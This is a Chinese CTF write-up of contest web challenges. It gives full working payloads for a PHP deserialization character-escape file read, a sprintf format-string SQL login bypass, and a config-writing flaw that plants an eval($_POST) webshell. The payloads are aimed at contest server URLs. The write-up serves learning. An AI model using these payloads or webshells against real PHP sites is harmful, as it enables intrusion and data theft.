安恆四月春季戰 - web

安恆四月春季戰 - web

Ezunserialize

打開獲取到源碼:

 <?php
show_source("index.php");
function write($data) {
    return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
    return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

class A{
    public $username;
    public $password;
    function __construct($a, $b){
        $this->username = $a;
        $this->password = $b;
    }
}

class B{
    public $b = 'gqy';
    function __destruct(){
        $c = 'a'.$this->b;
        echo $c;
    }
}

class C{
    public $c;
    function __toString(){
        //flag.php
        echo file_get_contents($this->c);
        return 'nice';
    }
}

$a = new A($_GET['a'],$_GET['b']);
//省略了存儲序列化數據的過程,下面是取出來並反序列化的操作
$b = unserialize(read(write(serialize($a)))); 

可以看見有替換!!!是的沒錯,又是反序列化字符逃逸~~~
\0\0\0本來是6個字符,但是被替換成chr(0) . '*' . chr(0)之後只有三個,,
而且他的write先調用,read後調用,
如下:

我們username傳入27個\0,password傳入1234";s:3:"age";payload
由於chr(0)不可見,用文字代替了
O:1:"A":2:{s:8:"username";s:54:"27個字符";s:8:"password";s:22:"1234";s:3:"age";payload;}

這個反序列化的payload好構造:

<?php
class A{
    public $username;
    public $password;
    function __construct($a, $b){
        $this->username = $a;
        $this->password = $b;
    }
}

class B{
    public $b;
	function __construct(){
        $this->b = new C();
    }
}

class C{
    public $c;
	function __construct(){
        $this->c = "flag.php";
    }
} 
$a = new A("123",new B());
echo serialize($a);
?>

O:1:"A":2:{s:8:"username";s:3:"123";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

之後將這個payload進行添加進去即可~
本題的payload:

a = \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
b = 124";s:3:"age";O:1:"A":2:{s:8:"username";s:3:"123";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}
http://183.129.189.60:10001/index.php?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=124%22;s:3:%22age%22;O:1:%22A%22:2:{s:8:%22username%22;s:3:%22123%22;s:8:%22password%22;O:1:%22B%22:1:{s:1:%22b%22;O:1:%22C%22:1:{s:1:%22c%22;s:8:%22flag.php%22;}}}

得到flag:
在這裏插入圖片描述

babytricks

這道題目沒有做出來,這裏記一下考點,,,,
一、格式化字符串
打開源碼可以看見sql語句:

select * from user where username='$user' and password='%s'

由於題目過濾了單引號,還有反斜槓,還有下劃線等等,,常規注入就不行了,,,,
格式化字符串,採用佔位符:%1$把引號給吞了,代碼如下:

<?php
$user = "%1$";
$pass = " or 1=1#";
$sql = "select * from user where username='$user' and password='%s'";
echo sprintf( $sql, $pass) ;

運行結果:
select * from user where username='nd password=' or 1=1#'

由於這裏or也被過濾了,所以我們可以使用^0,如下當我們查詢一個不存在的列名時,也能查詢成功:
在這裏插入圖片描述
構造username=%1$&password=^0#就能得到後臺的賬號密碼

二:單行模式getshell
後臺登錄之後我們就能得到源碼:

<?php
error_reporting(0);
session_save_path('session');
session_start();
require_once './init.php';
if($_SESSION['login']!=1){
    die("<script>window.location.href='./index.php'</script>");
}
if($_GET['shell']){
    $shell= addslashes($_GET['shell']);
    $file = file_get_contents('./shell.php');
    $file = preg_replace("/\\\$shell = '.*';/s", "\$shell = '{$shell}';", $file);
    file_put_contents('./shell.php', $file);
}else{
    echo "set your shell"."<br>";
    chdir("/");
    highlight_file(dirname(__FILE__)."/admin.php");
}
?>

這個微笑師傅和p牛大神都寫過文章~~ 膜拜Orz
經典寫配置漏洞與幾種變形
小密圈經典寫配置漏洞與幾種變形學習
原理和payload文中已經說得很清楚了!!!再次膜拜Orz
payload:

http://183.129.189.60:10006/admin/admin.php?shell=;eval($_POST[y1ng]);
http://183.129.189.60:10006/admin/admin.php?shell=$0

就能getshell了~~~ 簡直不要太秀!!!

三、bypass disable_functions
官方wp出來再來填吧,說是有直播,期待ing!暫略~~

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章